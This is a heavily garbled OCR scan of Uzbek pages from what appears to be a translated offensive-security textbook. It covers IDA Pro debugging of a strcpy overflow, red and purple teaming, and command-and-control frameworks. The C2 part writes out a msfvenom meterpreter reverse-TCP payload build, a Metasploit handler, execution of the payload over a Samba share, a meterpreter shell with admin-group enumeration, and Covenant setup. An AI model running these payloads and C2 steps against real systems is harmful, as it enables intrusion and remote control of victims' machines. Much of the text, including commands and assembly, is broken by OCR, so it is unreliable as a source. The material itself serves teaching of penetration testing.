Ii amalga oshiriladi v 5.21-rasmd DZi IE"T" luzaushga urinish muvaffaqiyat-
to*xtatiladi. = Tasmda ko "Salilgandek, dastur ulanip, bajarilishi

Shundan s0'ng, qalgib ¢
larni tuzatish Jarayonj

. mavjud.
ko'rasiz. IDA prq dasturining m

W Detug application setup: gt
NOTE: o pathe must be valid on the remote ¢
e o

debcaticn = '.H_Iq.#-':'gﬂhl"?”ir'-“dﬁajhm

: mFrog
Inout Fis = \isee sistusent | Dioenlonas imy
Earamessrs Pogt Y40
Bosthame 132,168 209.151

] Save ntwork settings as def st

_“ Cancel I“lﬂ:'_ —

‘ L rlari oynasi
1DA disk raskadrovka pai amet
5.20-rasm. [DA ai:

> Frr
*

v dlisk raskadrovka sessiyast

5.21-rasm. IDA Pro masofav

i bir nechta bo‘limlardan iborat
it h bo‘lsangiz, bu bo'limlar
digan asosiy va kattarog

y ish) 0¥ :
Siklarni tuzatisii =, nis

Debugginglash l"ﬂﬂ‘*‘hklﬁﬂiznv ari bilar t‘:atala
O'lib, agar siz boshqa tuzatis A View-RIP d¢ hbu nuqtada ko‘rsatma ko'rsat-
Sizga tanish bo'lishi mumkin. ? hisGbm"ﬂdl‘ Us ira manziliga ishora

5 syl ]gﬂﬂ xoll :
‘ i ing bir turt Y higa © : ko'p bo*limlar aylan-
'lim dissemblerlashning tmalari . sidagi ko'p bo’limlar ay

Y1 » <y S8 . o 0 na i
?::!'L‘h! (RIP) mov rdi, rsp ko rf:_'ﬂikmml lu;::ms:x {e’iew-l B SVl
‘Illis:hini ko*rish mumkin. ‘J*.rins}l / * ostidagi H

tilishi mumkin. Demontd) ©
?r.qa“dﬂ}' tanlangan xotira s€g

] v
g o'ng tomonida Stack
Satk

:o°rsatadi. Hex View-
ti jtilik shaklda ko't

Odatiy bo°lib, u stek lfﬂ_'r?
asi uchun xotira tarkibini

pasi O
mentit. . joylashgan.

Nm:jari}* ish stek

jew DY
hlanadi ¥

. S
ichi manzilidan (RSP) b0




ko‘rsatadi. Stack view bo‘limi tepasida “Treads

lashgan. Nihoyat, yuqori o'ng burchakda Umumiy registrlar (General registrs)
bo'limi mavjud. Ushbu bo*limda

prolsessorning umumiy registrlari, shuning-
dek, qo'shimcha registrlar, jumladan, FLAGS registrlari va segment registriari
ko‘rsatilgan.

Debugger boshqaruvi tayinlangan tezkor tugmalar, asboblar paneli belgila-
ri yoki disk raskadrovka menyusi orqali faollashtirilad;. Agar dasturni bajarishni
davom ettirishga ruxsat berish uchun Play tugmasi bosilsa, u shunchaki chiqib
ketadi, chunki hech qanday buyruq qatorj argumentlari taqdim qilinmagan, Ush-
bu dasturda Importlar jadvalini ko‘rishda 5.22-rasmda ko'rsatilganidek, eskirgan
strepy funksiyasiga qo'ng‘irogni ko‘rish mumkin, Keyin 3.23-rasmda ko'rsatil-
ganidek, asosiy (main) funksiyadan strepygacha bo‘lgan yo'Ini kuzatish uchun
Prc-xhl-nily. Brows&r‘:ﬂan foydalaniladi. Funey funksiyasini ko'rily chigishda, strepy
funksiyasiga qo'ng‘iroq gilinishini va 64 bayt (0x40) hajmida bufer ajratilganligi-
ni ko'rish mumkin. Keyinchalik, Strepy chagirig‘ida 10*xtagh nuqtasi o*rnatiladi.
Buni amalga oshirish uchun, 5.24-rasmda ku‘rsmilganidek manzil ustiea bosib,
to*xtash nugtasini o*rnatish uchun F2 tezkor tugmas husiIad!i_ ' i

and Modules™ bo'limlari joy-
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chaqiruyi
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w A -

; : i fer hajmi
StrCpy funksiyasida toxtash nuqtasi u*.manigaf;;' :;:Ij'::,lggﬁﬂ;ltrifal?c?;dimi }’Jﬂki
hisobga olingan holda, keling, jarayonning lSh{!-Eln.‘; Igeribku‘ra}'“k- Gdbserver
Ft;‘qlit;ini -mhiqlash uchun 100 baytni argument sifatida

£ ST idacicha o‘shiladi:
buyrug*i o*zgartiriladi va oxirida Python sintaksisini quyidagicha q
yrug'i o' zg: -

-
Wes =
public funcl
i ar
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= (Wl 3 pEr
t= byte ptr °%
push e
A bp, TP
sub it 1, rdi
may 4x, [ropare]
s x, [rbpedest] e
lea e 3 dest
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i,
mwd o
: rax, [roP? :
ica -nN
i rsi, T8 o
i format
lea *diy "©
T
mo ERX §
" b2
call B g
oV i
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rETh

funcl endp - -
rash nuglasi @ rnatildi

oy X
5.24-rasm. SprCpy 'ga 1o

Pro dasturida Play
chun DA S .
. funksiyasida o*rna-
. lingan jarayong o'ng, SIrEPY VS ila-
Disk raskadrovka ﬂ'l"u’a,l:léa ushir'igﬂ“da;];}r tugmasi yana bir bor E;?:::-.
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ida F9 tugmasini
. 0 F A Pro dasﬂlﬂ_ 7likka
manbaniﬂg argumenti HexView h .~mll11.kll‘1~r atilganidek, kutilgan nosozh

ilishini ko'r's o' - ion fault
Weriga nima ko*chirilis ol Lc‘;ﬁ-rasmdﬂ :;ntatsi}'a xatﬂﬂl.{E:Zﬁ?;;ns::}g;ﬂ:rin:
OSish, ya'ni davom ettirishs 1ek ko'rini : '
olib kﬂl,:; HE}:]:;;;ET dan olingal x::ﬁy registriar _""E ;niqlaﬁh va muammoni barta
“Qida “Ec:hlanliradi. natija aal:;“;" in Sibfﬂfl
Moyish etadi. Bu holatd®: X4 .y azish 7
faf etish uchun go*shimeha tahlil
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Format oy
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Irishi Mumkin,

ilish nugrasi

CR1TmA wypg .

Chiside hosoz{jk

: vositalaridan
imkoniyatiga ega bo‘lish

Kntas islik vositasi sifatida foy-
Ushbu bobda IDA Pro dasturidan teskari muhandislik vositasi sifati y

- cususiy va kengay-
dalanishning asoslari ko'rsatilgan. Bu daslulrdﬁ o F:ab 1‘:1111311:?1" }i::;;a sig* d;.l'ig;'l
tirish imkoniyatlari mavjud bo'lib, bonELs I:-ar_r.i Tl?nan IDA funksiyalari va
qiyin. Bobda IDA Pro interfeysi, eng ko'p qo Il!am i]a"ma'lumullﬂr Keltirilgan.
masofaviy disk raskadrovkani qanday boshlash mf].;n tizimlar o'rtasidagi farg-
Keyingi boblarda Microsoft yamoglari va Gpérﬁllanish ko'rib chigiladi. IDA
larni uhniqlushd:l IDA Pro dasturidan qanday foyda

. cshi li, ushbu bobda
C e ecanichning eng }ra_\ﬁhl usuli, _
pro'dan samarali foydalanishni oSSR T8 L i haan boshlashdir. IDA

keltirileanidek. oddiy C dasturint olish or ko'rsatmalari va maxsus operatsiya
Pro hitTm ishlash jarayonida turli asseunbll-:r o i e syt
ida : ishi n, ¢ |

lar hagida savollar paydo bo*lishi mum pdueussiost i 1
mrﬁshif :;-j:' .-;1;;{ :I;ir;.lish zarur. Vositadan fqa_r;ci;ill; e E—mkmalaringix APro
orqali l‘ ;,Rarlfi} muhandislikni go‘llashga ko*niksang

al tesk ; 0
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Us]?h}: _hobda biz quyidagi mavzularni k
. glzli Jamoalar bilan tanishyy
* Qizil qo‘mondonlik guryhin:
_ ruhining tarkibiy q;

* Tahdid simu!yatsiyasﬁ ik s
* Qizil jamoaviy

izil guruhlarda darg
* Binafsharang buyrug guruhjari !

0°rib chigamiz:

oy n i
hal giladi va strategik jihatda o S'Sl?‘ga Yordam berad;
O Zgartirad;.

194 Jamoa himg

qanchalik yaxshi At b hqlari sizning hi Ya giladigan (ko'k ja-
guruhlar l-ciI:ua-r:m.rI“s*.irr}liilif;l tI:f nfh mkonini her daE g;;ﬂyz gl Arsalds
21K tizimlar - Aesda gizil go*mondonlik

] Dd' x
amlar, jarayonlar va tex-

rini hagiaiv L: . Axloa:
: : hﬂqlm}f klberhujurnlardﬂn aré?nqu x?k“f lar tashkilotlarga
ini amaliy ravishda baholash
_ : B_u Jarayon himoyachi-
baholash i ; rﬂﬂr lomonidan hujum
1 lagdim etadi,

Yetuklashgan sari,

: Tashk; Zi{ll‘]nm s >
qlz”"““%“ﬁ roli o‘zg htﬂmmng Xavfsizlik pfzti]l;;i Jamoasidan turli yon-
£a la

chigiladi vq har bi 1gi, u qand Il ham o'z :
; 21, a I, garadi. Ushbu

Ir bosgich tashjcjo ¥ Iollami bajarigp; Mmumkinligi ko*rib

4 qanday ro| o*ynashi
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devorlari. proksi-serverlar va tarmoq hujumlarini
moq boshqaruvini amalga oshirishni :
gandan so*ng, barcha tizimlar }*angilﬂnga}qll
moq (patch)lami boshqarish amalga oshirila

B S
birinchi bosqich odatda xavfsizlik
aniglash tizimlari kabi tar-
o'z ichiga oladi. Asosiy choralar ko'ril-
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so'l dasturi bilan Microsofi Word troyan hujjatini (11024.002) yaratishi mumkin.

Shundan so‘ng, sinovchi Autoly (s1029) bajariladigan faylni yaratishi mumkin,
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Binafsharang jamog faoliyati
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mutaxassislar qo‘shimcha tajriba orttirish
moslashish uchun o'z faoliyati
qilishadi. Tashkilotlar rivojlanib borishj b
qobiliyatlari ham rivojlanadi.
razvedkasi, mudofaa buyruglari,
binatsiyasidan foydalangan hold
yaratishga yordam beradi.

va turmush tarzidagi o‘zgarishlarga
davomida ushbu ikki faoliyat o‘rtasida harakat
lan ularning aniglash va javob berish
Binafsharang buyrug komponentini qo‘shish tahdid

Gizil buyruglar va muhandislik guruhlari kom-
4 Yuqori aniqlikdagi muhitga xos detektorlarni

Qo‘shimcha manbajay
MITRE ATT&CK Navigator

mitre-attack. ithub.io/attack-navieator/

MITRE ATT&CK auack.mitm.urgf 8 o/attack-navigator

Pyramid of Pain detecbrespnnd.hlng
in.html

Penetration Testing Execution Standarg (PTES)
org/index.php/Main_Page

SPOL.com/2013/03/the-pyramid-of-pa-

Www.pentest-standard.

F oydalanilgan adabiyotlar

L. https://msrc-blog.microsofi.c om/2021/03/02/my ltiple

leased-for-exchange-server/

2. https://krebso ] SRR
i p nsecurity.com/202] e’ﬂ."w’a-hamc—tlmchnu

-security-updates-re-

-of-the-exchange-mass-

. T(C2
2-BOB. BUYRUQ VA NAZORAT (C2)

ar ko'rib chigiladt:

Ushbu bobda quyidagi mavzul halar (C2)

* Buyruq va nazorat tizifulm:i haqida tushunc

* Foydali yuk obfuskatsiyas!

* C#, Go va Nim-da ishg:.l s e

* Tarmoglarni chetlab o'tish t::}.nr: il

* Yakuniy nugtani aniglash va ¢he
usullar;

hirgichlarni yaratish

o'tish texnikasi (EDR)ga javob berish

: kirish hujumning f:{q:.ll
Xakerlar uchun (ham axlogiy, ham jir_"f"}'l‘r:];:?iida bajarish qubi]i}:ahlﬂz.
hirinC;i ui-;: ilf-li‘i-t‘“};}i?ilélai’dﬂﬂi b“qulfin;::;qiar va boshgaruv (C?i} \*:)5;:*?1:;
sker o magadrigs e O rga kirishni uzoqroq sadlshga yoree
' qochis ‘q‘ aridan foydalanish testerlarg K moglarga hujumini to°atis
qochish lli-.u“dl'lddtll y e ostlar VA
“radi va boshgaruv elementlariiiis
Mumkin hn‘lg::]'n ta'sirini kumuyumdl.

Jorat tizimlari

Buyruq va na harakatlarni amalga oshi-

‘shimcha : bty
jovuzkor qo'sh . ashirish va tarmoq bo’y
iz ~ o'ng, tajovuzkor 4% = Jarni 0sNINSH ¥ :
. Tizim buzilgandan song, ¥ arish, 1rnuy{zr;r " dan biri bu buyrug va
rIShi k k dka hu}arl,lqlﬂml ba] shi USU”H
erak: razvedka.

e da odatda buzilgan Xostda
C2 timmi EL jaradigan va natijalarni
: —— 93 fo  oqn, ularni b3 ' iborat:
2OShqaruy (izimidan (C2) ijyruqlar nlﬂd‘ga“.| ri uchta kﬂmp‘m"mda&l - lig
Shlayd: ... TS nb ) jzimid .ost o‘rtasida ora
qa laydigan, lajm-ufi‘”rd-ad Ko'pgind G257 va buzilgan Xost nkrt beradigan
Yarad; agent mavjud. ai . ishga imkon o
uyﬂg;:.lhg;::l 13%Lill:113}'di§ﬂ“ agent, u! , }'nlqlﬂfihlj{:; n o'zlarining tegishli
: vostda is uici e e b
Varif . § wever va tal o (3 SETV ilgan tizim bilan
ifasing bajaradigan serve a tajovuzror i {‘ rajovuzkorgd huzﬁg_ ish imkonini
Shqaruy dasturi. Agentlar Va atadilar, bY esa ()77 h va qabul qilis
Oy oherthart cecali clodid T
entlari orqah a

tos o . Sd 1
hﬂ & Tidan-10*g*ri aloga gilma
Crad;.

jshning €ng

; a erish .
ab harakatlanish. Bunga eris dalanishdir:

li xil
loga uchun tur
inotigh 40 10 HTTP, HTT-
.2 dasturiy ta I“;::g keng taﬂaigﬂ_nf::a b titdhiE-
Agentlar is]-.[miladl:i%anr umKin, s gentni buzilgan .\ﬂd Ianm::hi nomi
Prnl“kﬂllardan foydalanishi ™ C.AE iasi, foyda

etlari VAR 7 lar dara)ast jlayotgan va-
' DNS, sMB, xom TCP soketlar! " va 'mt'yf'ﬂ oradi. Server kutilayotg
Bang 2

ulan : ub -r va MijOZ doimiy
v AN Song agent SEf"crg.?gz mﬂ'tu'“ﬂl]a?[;ﬂ?ﬂ o seTr'\li;ZI:TTPS soketlari
i " . o LT 1 -1
» X0st nomi kabi asosiy mﬁl j va agar uhil oki dointy H. atadilar. Bu mayoq
fal gy bor-yo*qligini tekshi soketlart Y 4 yyni o'
ANishp; i, masalan.
saqlaydi, m
Yok;

A dav
- aladigan c__
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vaqti agent qo‘shimcha vazifalami 1
oralig*idir,

Mayoq vaqtlari (Beacon limes) Operatsion xav
interval juda qisqa bo‘lsa, bu juda ko‘p shov

tervallar bajarilishi mumkin bo*lgan buyruglar sonin; kamaytiradi. Mayoglar
orasidagi vaqt sinoy magsadlariga va Operatsion Xavfsizlik muhim jihat ekanli-
giga asoslanishi kerak. Agar bu muamme bo‘lmasa, Mayogning juda gisqa vaqti
ko'proq vazifalami bajarishga imkon beradi, ammo agar bu muhim jihat bo'lsa.
kamrog tez-tez va tasodifiy tekshiruvlar aniglanishga olib kelishi mumkin bo*lgan

naqshlarni aniqlashni qiyinlashtiradj. Aniglash tekshiruvlar chastotasiga (kuniga
necha marta), uzatiladigan trafik hajmiga

ing nisbatics vok: . 8% Yuborilgan va gabul gilingan ma'lu-
mntIar.mng msbﬁlllga an}u_ nagshlarnj aniglashgy urinishlarga asoslangan bo‘lishi
m:fq]kln. K-:f Pgme: C2 III:‘{In:IIEIrI aniglashdan Qochishga yordap berish uchun tek-
shirish vaqtiga qo‘llanilish; mumkin bo‘lgan “chayqalish” yoki vaqt o'zgarishi
mshunchasiga ega. 4

ekshirish va olish uchun bog‘lanadigan vaqt

fsizlik uchun muhimdir. Agar
gin tug*diradi, ammo uzogrogq mn-

‘yalargﬂ cga. a"-"-“ v = . h hlihu
agentlar uchun foydali yuk]arn; varatis] 0 ba'zilari umumiy bo

L buyruglarni by
fayllarni yuklab olish va yuklab oljsph mel,

bil arish va natijalarni olish,
: Qobiliyating o'2 ichi i Metasploit,
PowerShell Empire va Covenant kab; chiga oladi. Metasp

hamjamiyg tomon; ana-
. . . . Tid ‘Hab-quvvatlana
d'g‘f‘“ G w}sﬁalan.nmg bepul versiyalari Mavjud, Shuni;g{:lzsl}qﬂ?ﬁagl—: ::vm!z}-
nadigan Cobalt Strike va INNUENDO kab; tjorat vositalar; mavjud. C2 tizimini

tanlashingiz ehtiyojlaringizga Garab belgilanjgh; kerak

Eslatma: Yangi 2 Hizimlari deimiy ravishda peay
T o L 0 it ]
ofer .'rj":h'll-lﬂﬂ l'n’l’i‘llr.ﬂHH{I_'I'hf.f .-I.Lf'u;‘ { .

P SINgizning eliiy Oflaring;-
CHg Yaxshi y, Wictntni

mairitsasi pif, W faniship .

ho ladi, ha =ilari ese
fanlashaa QIZYSangiz. siz uchun

thee2matriv.com SaVtiddeg 2

SNl X pizpmiin
h:llrn’..‘nlr} il -"Il’lrlrll"'“ TRl
Nicginge

ili . Metasploj¢
Ko*pchilik foydalanuvchilay sinab kg

Metasploit. Metasploit — by ekspluatatsiyan: : ‘zimlaridan biri bu

" = : X }"ﬂnl =5hlah 11t L} . bileaerric b
a 3 & N g & T | u 2 =
:a::lli; i:ﬁgf: Saggf;;:'ggvkinIFaSI.~Mc-tas ham tijorgy, ham ochiq versiyalarda
;:‘Ta];illgan.hj‘lib, Ibydalanuvchiiami O'rganishn; :r:’;:;:] }'i;:.vcrsiy - lja!:;iﬂ
€ Kabl vositalar mavjud bo'lib, 'radi va merasploitab-
zaif virtual mashina bo'Jjs Xizmat g; s-t Unleashed bepul o*rganish uchun
tasploit-unleashed/. : WWWuﬂ'enswe-security.comfmf-"

'8an birinchi ¢ ,

armavjud bo‘lganligi sa-

sil ma’lumot bermaymiz.
I:"-H}

2) uch i 05-
- i 2) uchun foydalanish as
Buning o*rniga metasploitdan buyrug va boshqarish (C2)
lariga e tibor garatamiz.

- lserfcdaei GHH
. Labiasreatoriialir (AT Kalolagriada gl i_-'..u" i
| herrcfict ferDealalor] i ' Y I J YT
I iy rf EICT 0 n F R g ST
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¢ ol al

chitps s QUIRED.COM o andai S0 Hg
[’J'nr-l'lu".-"-"ll' T A T I'l“r"'“ . s 3 ’."' ,l':“'.l"\..:-.rl’h':h'll.'“-‘..rrn' v fll'llrj:l'- i
N e ’ 3 ;
) katalagida, Twoallaneach, biz nishon va Kall
o= I § ; - Tl ) Sl S
f hiceak T PR TN e £y
Har bir tizim wchui SoR fia fone
e i i

lovdalanadi. ClondSetn) hea tushiring
e i I i o
EIFIHJ" kirtetlen .-H‘I.r heilil sl i -”"I'u“-‘ J
NEATEATE N N LT
'r"-|"|'|“ll'l.r|'.".|lq .'-r.| i 'Ili e |-'J|' II'II' e

T . H'liu-l'"l'
hob welum README de "'l'”"‘h i

" s varatish
. da qobiq yaratis
loit yordamida qongq et xabir
s 0 tehi 7.12 ['vietaSP_ h | tizimida Server » :
Lahuratﬂ':l}ln 1|S,h:,ukni joylashtirish ruchﬂn Kakla sioaidan fosdalinich
];’:{‘ISI‘HGSH u::luu:: m}r‘dfll 'd*i Tizimda smbd bilan T.m];  hewie keviit ikt
) }'ﬂf;lil; i}ilz.%ni kmﬁgummiﬂfm'mg?e ]?shimmizi
Mumkin, Jinge, umun = iudligini
Qayta itgigﬁjl:sl‘::immiz va umumiy jild mavju .

mb.conf
s sambat S
g cat addshare.ixi | sudo tee -a /¢l

[ghh)
comment ~ GHH Share
';”I”l"'~"1’ﬂ'|1?.lr:_" ves
path tmp
Prinahle = no
Elest af Ves
J"t’m."”milt. ves
Create mask = 0700 |
S sudo serviee smbd restari i
. sl ‘i”"'”f';’f; .nnﬂl.ru."n’.' ‘:F!t's,': anrer
Enter WORKGROUP kali's pas:
Sharename Type Comment
Prime§ Disk Printer Drivers
&hh Disk GHIH Share 1 13.2-Debion
IPCS tpe 1pe Service (Samba e | ‘ rl |
SMB| disabled - no workgroup ¢ uklmu:m EI'U)"ldii ko rs'a“ g:.;i]-
i yukini yarainchhum; e-
S entni serverga qs_i},rla ula-
- gobiglar (bindshell)

_ ; [‘g)rdﬂﬁ b
. 1o hirinchi al
Endi msfvenom yﬂl'_dﬂ“];'iamemprete_r fﬂ:':;]bu a
e Yaratishimiz mumkin. nt1 va

288" . 1 Bog'langan ,
Ipreter — by Metasploit uchunF .+ deyiladi. Bog eskari qobiglar) serverga

cari qobiq AEYE L o (t S
Mishin Xohlaymiz. Bunga u?sm:;;t:di. teskart qcig:;l:airsll Siﬂ“siy.a]an *h]|]an1;?05112-
“8eny ishlaydigan tizimda Ung pkilotlar intem  uchun teskari qobiglar taj
anadj Ko‘pgina hollarda. tas aydilar, ?humnbadi.
o 10"g'ri ulanishga ruxsat PRIy pisoblan

n
lar uehun eng keng tarqalg?
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L~ msfvenom -p u':'ndnn-.-nh:cmrprﬂer_rm'u.-'se_ fep

-f exe —platform Windows -0 ‘tmpimsflexe
-] No arch selected, selecting arch: x86 from the pavioad
No encoder specified, ondputting raw payviogd

Pavload size: 175174 bytes

Final size of exe file: 250368 byrey
Saved as; /tmp/msfl exe

L—§ chmod 755 tmp/msfl. exe

HDZiTgiﬁﬂ METASPLD[T rﬂ}'dﬂ.ll }'Uk generatori Hfﬁ:ﬂ"fﬂﬂi‘ﬂ"dﬂﬂ rﬂ}"dﬂlﬂ‘
nib, TCP meterpreter orqa qobig*i yaratildi. by Stageless, ya'ni barcha foydali
yuk ikkilik faylda. Aksincha, sragedyuklagichning fagat kichik bir qismi yuk-
ka kiritilganligini, qolgan qismi esa serverdan Yuklanishini anglatadi, Bizga
iloji boricha kamroq foydalj yuk kerak bo'lganda, stageqd eng yaxshi variant.
Birogba'zida boshqaruv tizi i bizni

: : ) mlari hizmng bootloader n; aniglay oladi va bu
bizga xiyonat giladi. Ko'pgina hollarda. » )

- - : » 88ar o'lcham muhim bo*lmasa. sta-
ged yaxshirog bo‘ladi, chunki bunday foydal; yuk bilan bog*lig muammolar
kamroq bo*ladi.

. Berilgan lk!‘ihk fay] uc!?un foydali yuki uning nomi bijan Stateless ekanligini
aniglash mumkin, Metasploitda, qoida tari yuklar uchun format qu-
s 1 r CTLr .'f{"
foydali yuk>_<foydalj yuk turi> orali oraliq va<platforma>
versiyasi windnw:-;fmelerpreterfreverse_lcp bo*ladi.
Keyinchalik u gaytib ulanganda qobigni
7 yleah kenik: Metasploitda foydali yuklami ushlaydigan ishlov beruvchi deb
sy o vosita mavud. Metasploit guryhlar Platformalar bo‘yicha eksplua-
La!lsu: E;}gat;; ﬁ:a Lbhltlw beruvchi har Qanday turdagi play formani ushlay olganli-
1 5aba u H b1 H
g1 sababli u ko'p katalogda yuk turin; Hiéfienon bilas

yaratilgan foydali yuk bilan biy xil qilib belgilash k 'a keyin uni i |
rish uchun eksplualatsi}ra{exmm[} hll}’mg‘ingi h'-frishezr:ru:a keyin uni ishga tushi-

ushlab turish ychyn ishlov beruvchi-

msf6 > use multihandler

] > set iH(l'i‘T 10
LHOST => 10.0.0.49 10.0.0.40
msf6 exploit(mulyi handler) > exploir
[*] Started reverse TCP hangjep oy 10.0.0.40- 4444

F—Indi ishlov beruvchi ishlayapti, RD
u!amsl?. magsad]j foydalanuvehj sifatida
ni ochish mumkip, PowerShel| buyrug]

P orqali mg
tizimga kiri
arni UNC

4sadli Windows tizimiga
S‘h va PowerShell oynasi-
yo'li orqalj bajarishga imkon

e faylini ishga tushirish

hida i an msfl.ex
beradi, shuning uchun ghh ulushida joylashg
mumkin.

PS C: Users targer> & 1110.0.0.40\ghhimsfl.exe

(2 serveriga gayla ulanishini va sessi-

r . : r = = - ® - " ‘n. -

st Bl 1!'dagiu::ha tekshirishingiz mumkKin:

Yani ochishini ko*rishingiz kerak. Buni quy e

; > ]0.0.0.20:49893) at 202

[*] M csion 1 opened (10.0.040:44H

Meterpreler ses

ﬂ‘j_-..'"\‘.l; > 0000 "

iy Ug-1
mkin Meterpreterda yordam h:;:;r E;giz

' 3 R b
i ~chta o‘rnatilgan buyruglar mavjuc -
et falarga gefuid buyrug’i yo

iy vazi P\ )
UHLL:[EI?sh va qobiq buyrug'i yordamida

Endi buyruglami bajarishimiz
kn‘l'ﬂagida ko'rish mumkin blﬂgm.l n
ajarishni xohlashimiz nmmki_n hﬂtilfgiamri
imida qobiq foydalanuvchi identifl
q0bigni olish kiradi:

Mmeterpreter = getuid

Server username: GHIH target
Meterpreter = shell

Procesy 1200 ereated.
Channel 2 ereated,

-'lfi':'m.\'nﬂ Windows [lersion ,“
fe) Jf”f.i Microsoft Corporalion.
C\Users targer=net localgroup
et localgroup administrators
Alias name administrators
Comment Administrators have ¢
Membeyy

00143931
Al rights resert el
mhm’m’smuﬂr.s

er/dlomictin
{ aeeess 10 the computer/dom
| acees
siriciee

3 pnre
‘H'”F"""Fﬂ H”ﬂ]

P
.
i
=
st

.-J'c.*m:'m.-;n-mr;r

GHH\Domain Admins
e command completed SHEt
s ers\target=exil

Exjy

.Li_g_gl'ﬁﬂrh"

oni aniglagach, net buy-

gaﬂillli uchun q{}hlq ochdik.

o = Illﬂ}l'{ﬂ- .~ h
.+ gifatida 1 i ko'ris .
- anuvchist §! guruhin vervini ko' TAmMIZ.
HH\targer foydalanty ministratorlar 8 eter so'rovini KO llariga ega. Post
gt Yordamida mahalliy Adn'y ana MeterP! (jlgan post pigds bosish orqali
Qﬂ quan l:hiq{]ﬂndﬂ" 50 ng, bz hun o mathiz lah [_ug'[ﬂﬂﬁlﬂl

e catlar uch zib va * _agar biz ro’yxat-
Ctasploit turli xil ?nfrﬂl:; Cost/ de O tiladi; masalan i%iagi  iciia
k Sp Uatatsiya modullarini T#7 7 o'yichd

0'« *

i
Mshingjz mumkin. Ular funks'y!
d N s ; . xphlasaks
O lganlarni to*plashni ’

Na]ﬂnishimiz mumkin: < 161
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meterpreter = run post/windows
[*] Running against session 3

‘gather/enum _logged _ON_hsers

S-1-5-21-449742021-20983 78324-324543 9462-1111 GHIy larger
[+] Results saved in: homekali/ msfddoot/ 202 109} 2061025

defanlt 10.0.0,20
host.users.activ 930927

Magsadli foydalanuvchi tizimga kirganini, shuningdek, yaginda tizimga kir-
gan foydalanuvchilar hagida ko*prog ma’lumotni ko‘rish mumkin. On‘t-:iqd““
chigish uchun quit yozing, so‘ngra Metasploitdan chigish uchun exit-y yozing.

Metasploit juda katta funksiyaga €84 va ushbu bobda barcha im];uni}-'ﬂli:ll'ﬂi
sanab o'tish imkonsiz. Birog Metasploit Unleashed kursi va ushbu maslahatlar-
ning ba'zilari bilan siz Metasploitdan foydali yuk generatori va (3 w.'mit;wi sifati-
da foydalanish uchun texnik jihatdan Yaxshi jihozlangan bn‘lishin;i‘z I;cmhk.

PowerShel) imperiyasj
PowerShell Empire BSides Las-Vegasda Uill

nidan 2015-yilda taqdim etilgan, Git}[uh‘dagi
va fork versiyasi BCSecurity jamoas;
RITY/Empire manzilida saqlanadi

Shreder vq Jastin Uorner tomo-
: loyiha shundan beri arxivlangan
tomonidan https://github.com/BC-SECU-

va takomillashtirjjag; Pow S mpi [
B R ; . erShell Empire turli
vazifalamni bajarish uchun Fowchheil-ga asoslangan foydali yuklar. yuk]I:michlar

1.,-;: uksplua?a%siyadan keyingi modullardan Fnydalanadignn Python'ga asoslangan
€2 ramkasidir. U PowerSploit, SharpSploit va boshqa msitaIarnin;i;ust.—e}-;;?lzln—

tatsiya modullarida komponentlarin; 0°z ichig s s ;
digan ko*plab vositalar lizimga alla &a oladi, ya'nj sinovehilar foydalana-

i b= qachon o*matijgy _
Microsoft Antivirusnj skanerlash interfeysing % n
IA“S” IHQdiIT! Elganidan va Pﬂﬁ't‘!f
dan so‘ng, PowerShell’nin
bo*la boshladi. BirogEmm; : - Va C¥ vositalari mashhur
usullarini 0‘z ichi r:qulTn: o _ ish va skript bloklarini yozish
i g Oladi, bu esa xau.af‘ﬂz}ikning S0‘nggi yaxshilan: ey
rishga yordam beradj Imperiyani xv bobda batafsi] k“‘r?b c*hi;am‘shlanm yashi
dmiz,

Covenang

Covenant — by C# tilida Yozilgan 2 ramkasi bot|;

d-.awsda ishlaydi. Qizi| jamoaviy faoliyatda cy aks
bilan Covenant bajariladigan fayllami yaratish yepy. - .
vatlashi va ekspluatas; uchun

+ ve yadan keyingj ko
nish qobiliyatj tufayli mashhurlikkeq f.'ri511*::1]:]‘?.|3hI

b, u ham Linux, ham Win-
obora ommalashib borishi
0'matilgan C# qo*llab-quv-
mashhyr Cp VOosit
und

alaridan foydala-
N tashqari, xotirada qo*shimcha

A LJ:.‘I____I - - -
liyati va ramkaning kengaytirilishi qulayligi

C# yig*ilishlarini ishga tushirish qobi e kaps qo shilit ascn.

: svimli C# vosital

Operatsivalarni bajarish uchun sevimli C#
lashtiradi. -ovlashtirilishi mumkin va t‘oydalgnm,

CU\'QI‘.IIIHI l)l}ukcr \rurdaﬂ'ﬁida |131TI ]0}' a kﬂ'“ar va taShql C?_ uchul‘i lshl'ﬂ.-
chilarga qulay veb inlcr—fﬂ}’““ ega. Maxsus pr{?;‘nﬁnglﬂ"chilaﬁ bilan foydalanish

i = e o m Lo . =

tilish ihrnumkin bo*lean veb-interfeys va ko IE?hani u qizil jamoalar uchun foy-
uchun namuna profillari kiritilgan. Bundif_lﬂ. davomida ishlatiladigan arll:fl'l]'.iﬂﬂf'
dali xususiyatlarga ega, masalan, operatsiya & vchi tomonidan bosib o'tilgan
i ky ‘-Ihflblli o ds L operatsiya davomida sino

‘Uzatish, shuningdek, ‘

=1 larini varatish.
Y0'Ini ko*rsatadigan hujum grafiklarini ¥

ganday funksiva voki fov-
hoshqa jihatlarini chuqin
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. i hun
Covenantni ishga tushirish u¢
Fugnj bajaring:

S sudo covenani-kbx start
=== Srarting covenant
Please wai during the start, i
S, Opening hitps: jar0.0.10:
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Presg ENTER 1o exit

JIRE. ..

o g HONTE
”. camn I[TAI- i 'IF‘ g h hm“l'“:r

7443 with awe

. suningiz ip>:7443](htt-
ing o2 MLI:IIZII::?riSIﬁSaﬂ o"tganin-
. . e et SLﬂgn 3 o i d.-
Ku}rm \rch,hmuzcrilﬁlﬂdi [uﬂnziligﬂ o'ting- ° sqratishing1z mumlim bﬂ-::l i
+//<Kali tuguningiz ip>:7443) M hisﬂhi“gm;;n foydalaning, lekin bos o
14 *1: i ’ i izt H |
Ifd'an g, Coyenan e vchi nont! 453 prmn'}rmaslik uchun xavisiz nars
“"gizga yoqqan ﬁ‘-'ﬁ““a,'ﬂrg;daianishigﬂ gets
C2 lizimidan noto*g'1!
b Boshqaruy paneli, bu Yer®
Oladi,

an birinchi ekran

idek, SiZ ko'rg




Dashboard

Grunts
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Listeners
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Hama fatwny Tadh Sikha SR

Covenant ko*plab boshqa C2 tiz
siyatlariga ega. Covenant'da
uchun xizmat bo‘lgan Tinglovehi (Li
yuborganingizda, u Vazifa
di, u yerda qanday buyrug]
mumkin,

Yangi tinglovchi (Listener)
lasi (Listener link )ni
(Create)ni tanlang.

a’zi nomlash xusu-
.. Grunt C2 alogasi
£a har safar buyruq
va Vazifalar ro*yxatida kuzatila-
4 ulaming natijalarini ko‘rishingiz
